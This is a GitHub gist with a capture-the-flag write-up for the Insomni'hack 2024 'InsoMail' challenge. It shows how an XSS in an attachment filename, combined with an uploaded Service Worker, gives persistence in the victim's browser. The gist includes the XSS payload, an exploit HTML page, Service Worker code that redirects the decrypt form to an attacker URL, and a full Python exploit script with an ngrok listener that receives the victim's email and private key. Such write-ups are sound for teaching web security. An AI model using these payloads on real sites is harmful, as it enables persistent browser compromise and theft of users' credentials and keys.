Skip to content

Instantly share code, notes, and snippets.

@betrisey
Last active April 29, 2024 08:38
Show Gist options
  • Save betrisey/1e40de48017c020d999d1406d3c0847a to your computer and use it in GitHub Desktop.
Save betrisey/1e40de48017c020d999d1406d3c0847a to your computer and use it in GitHub Desktop.
Writeup of InsoMail - Insomni'hack 2024

InsoMail - Insomni'hack 2024

Description

Introducing InsoMail 🔐, the most secure encrypted email service on the internet. It uses the latest technologies to ensure that your emails are safe from hackers.

To guarantee your privacy, no cookies are used, and the server doesn't store your private key [1].

Secure email: https://secure.email.insomnihack.ch Webmail: https://web.email.insomnihack.ch Source: insomail.zip

[1] Actually, it stores it temporarily in memory but it's fine, right?

Abstract

You found a XSS vulnerability on a website but nothing can be extracted because the website doesn't store any sensitive data in the browser. How can you achieve persistence and steal the flag?

Exploitation

Reconnaissance

There is an admin bot that visits any URL provided by the players, the closes its browser and decrypts the flag in a new instance. That should hint that the player needs to find a way to achieve persistence.

Exploitation

All the source code is provided to the players so they can look for vulnerabilities without having to guess or try every endpoints.

This challenge has 2 main vulnerabilities.

The first one is an XSS vulnerability that allows the player to execute arbitrary JavaScript in the context of https://secure.email.insomnihack.ch. But nothing can be done because no session token or sensitive data is stored in the browser. So the player needs to find a way to achieve persistence.

The second vulnerability allows the player to upload a Service Worker (JavaScript file) as an attachment and it gets served by an endpoint at the root of the server (/attachment). The Service Worker can be installed using the XSS vulnerability and will intercept the decryption of the flag later.

XSS

In the Jinja2 template decrypted.html, there is an XSS vulnerability because the filename if the attachment is inserted in the action attribute without quotes around it. This allows to inject new attributes in the form tag.

<form action=/attachment/{{attachment['filename']}} method="post" target="_blank">
    <input type="hidden" name="session" value="{{attachment['session']}}">
    <input value="{{attachment['filename']}}" type="submit">
</form>

The XSS Cheat Sheet from PortSwigger has a payload that doesn't contain any quotes or brackets:

<form id=x tabindex=1 onfocus=alert(1)></form>

The filename is limited to 60 characters, so we can place the full payload in the window.name of the exploit page, retrieve it and evaluate it with the injected code.

So the filename can be set to: [space] id=x tabindex=1 onfocus=eval(parent.name).js

So now the attacker can send an email to itself with an attachment with such filename, then extract the encrypted field and create an exploit page that will trigger the XSS using a form POST.

Exploit page:

<!DOCTYPE html>
<html>
<body>
<!-- The #x at the end of the URL is required to trigger the XSS in the onfocus attribute. -->
<form action="{INSOMAIL_URL}/decrypt#x" method="post">
    <input type="hidden" name="encrypted" value="{encrypted data extracted from the email with attachment}" />
    <input type="hidden" name="email" value="{attacker email}" />
    <input type="hidden" name="private_key" value="{attacker private key}" />
</form>
<script>
    window.name = `alert("XSS")`;
    document.forms[0].submit();
</script>
</body>
</html>

Service Worker

The only restriction on the content type of the attachment is that it cannot be HTML or XML to prevent XSS (Actually, some players used xsl files to bypass the Content-Type filter of the file upload to directly get XSS.). But the content type application/javascript is allowed.

content_type = decoded["attachment"]["content_type"].lower()
if "ml" in content_type:  # No HTML, XML, etc.
    content_type = "application/octet-stream"
session = uuid4()
data = SessionData(
    email=email,
    private_key=private_key,
    attachment=content,
    attachment_type=content_type,
)
await backend.create(session, data)

There is also a GET route to serve the attachment so it can be used to serve the Service Worker:

@app.get("/attachment", dependencies=[Depends(cookieless_session)])
@app.post("/attachment", dependencies=[Depends(cookieless_session)])
@app.get("/attachment/{filename}", dependencies=[Depends(cookieless_session)])
@app.post("/attachment/{filename}", dependencies=[Depends(cookieless_session)])
async def attachment(session_data: SessionData = Depends(verifier)):
    return Response(
        content=session_data.attachment, media_type=session_data.attachment_type
    )

So the Service worker can be installed using the following code:

 navigator.serviceWorker.register("/attachment?service=SESSION_TOKEN", {{scope: "/"}});

The following Service Worker code can be uploaded as an attachment, it will replace the action attribute of the form used to decrypt emails with the attacker's URL.

self.addEventListener('fetch', function(event) {{
    if (event.request.url.includes('/decrypt')) {{
        event.respondWith(fetch(event.request).then(function(response) {{
            return response.text().then(function(text) {{
                // replace the action of the <form> element
                return new Response(text.replace(/action=".*\\/decrypt"/, 'action="ATTACKER URL"'), {{
                    status: response.status,
                    statusText: response.statusText,
                    headers: response.headers
                }});
            }});
        }}));
    }}
}});

The attacker will receive a POST request containing the encrypted data as well as the email and private key of the victim. The attacker can then decrypt the data and retrieve the flag.

import os
import secrets
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from time import sleep
import ngrok
import requests
WEBMAIL_URL = os.getenv("WEBMAIL_URL") or "https://web.email.insomnihack.ch"
INSOMAIL_URL = os.getenv("INSOMAIL_URL") or "https://secure.email.insomnihack.ch"
NGROK_API_KEY = os.getenv("NGROK_API_KEY")
s = requests.Session()
# Prepare the server that will serve the exploit page and receive the POST request of /decrypt
# It is exposed to the internet using ngrok
exploit_html = ""
class ExploitHTTPHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.end_headers()
self.wfile.write(exploit_html.encode())
def do_POST(self):
content_length = int(self.headers["Content-Length"])
body = self.rfile.read(content_length)
print(body.decode())
# relay request to insomail
res = s.post(
f"{INSOMAIL_URL}/decrypt",
data=body,
headers={"Content-Type": "application/x-www-form-urlencoded"},
).text
print(res)
self.send_response(200)
self.end_headers()
self.wfile.write(res.encode())
threading.Thread(target=self.server.shutdown).start()
server = HTTPServer(("localhost", 0), ExploitHTTPHandler)
listener = ngrok.forward(server.server_address[1], authtoken=NGROK_API_KEY)
exploit_url = listener.url()
thread = threading.Thread(target=server.serve_forever)
thread.start()
print(f"{exploit_url=}\n")
def get_mail(mail_secret: str) -> tuple[str, list]:
res = s.get(f"{WEBMAIL_URL}/mail/{mail_secret}").json()
return res["address"], res["emails"]
def register(email: str) -> tuple[str, str]:
res = s.post(f"{INSOMAIL_URL}/register", data={"email": email}).json()
return res["private_key"], res["session"]
# Get a new email address and register
mail_secret = secrets.token_hex(8)
email, _ = get_mail(mail_secret)
print(f"{email=}")
private_key, session = register(email)
print(f"{private_key=}")
# With that account, send an email to itself with a service worker as attachment and the XSS payload in the filename
XSS_PAYLOAD = " id=x tabindex=1 onfocus=eval(parent.name).js"
# replace the action of the <form> element by exploit_url on the /decrypt page
SERVICE_WORKER = f"""
self.addEventListener('fetch', function(event) {{
if (event.request.url.includes('/decrypt')) {{
event.respondWith(fetch(event.request).then(function(response) {{
return response.text().then(function(text) {{
// replace the action of the <form> element
return new Response(text.replace(/action=".*\\/decrypt"/, 'action="{exploit_url}"'), {{
status: response.status,
statusText: response.statusText,
headers: response.headers
}});
}});
}}));
}}
}});
""".strip()
s.post(
f"{INSOMAIL_URL}/send?session={session}",
data={"rcpt_email": email, "subject": "exploit", "body": "exploit"},
files={"attachment": (XSS_PAYLOAD, SERVICE_WORKER, "text/javascript")},
).json()
# Get the email sent to itself and decrypt it to get the service worker URL
for _ in range(5):
_, emails = get_mail(mail_secret)
if len(emails) > 0:
break
sleep(0.5)
else:
raise Exception("No email received")
attachment = emails[0]["attachments"][0]["content"]
encrypted_data = attachment.split('name="encrypted" value="')[1].split('"')[0]
res = s.post(
f"{INSOMAIL_URL}/decrypt",
data={"encrypted": encrypted_data, "email": email, "private_key": private_key},
).text
attachment_session = res.split('name="session" value="')[1].split('"')[0]
worker_url = f"{INSOMAIL_URL}/attachment?session={attachment_session}"
print(f"{worker_url=}")
# Prepare the exploit page
# when making the browser decrypt the email, the XSS in the filename is triggered
# the XSS payload evaluates the name of the parent window, so we put our exploit in window.name
# the exploit registers a service worker that replaces the action of the <form> element on the /decrypt page to point to our server
exploit_html = f"""
<!DOCTYPE html>
<html>
<body>
<form action="{INSOMAIL_URL}/decrypt#x" method="post">
<input type="hidden" name="encrypted" value="{encrypted_data}" />
<input type="hidden" name="email" value="{email}" />
<input type="hidden" name="private_key" value="{private_key}" />
</form>
<script>
window.name = `document.forms[0].remove(); // only trigger once
navigator.serviceWorker.getRegistrations().then(function(registrations) {{
for(let registration of registrations) {{
registration.unregister();
}}
}}).then(function() {{
return navigator.serviceWorker.register("{worker_url}", {{scope: "/"}})
}});`;
document.forms[0].submit();
</script>
</body>
</html>
""".strip()
print("\nSubmit the exploit_url there:", f"{INSOMAIL_URL}/#/bot")
thread.join()
@ngo
Copy link

ngo commented Apr 27, 2024

Can you clarify about the form onfocus XSS vector? Doesn't work for me neither in chrome nor in headlesschrome as used by playwright in bot.py. Am I missing something?

@betrisey
Copy link
Author

@ngo To trigger the onfocus event, we need to put the id of the element in the hash part of the URL.
That's why there is #x in the URL:

<form action="{INSOMAIL_URL}/decrypt#x" method="post">

You can also try it there: https://portswigger-labs.net/xss/xss.php?context=html&x=%3Cform%20id%3Dx%20tabindex%3D1%20onfocus%3Dalert(1)%3E%3C%2Fform%3E#x

@ngo
Copy link

ngo commented Apr 29, 2024

@betrisey thanks, that's the part we were missing on the CTF)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment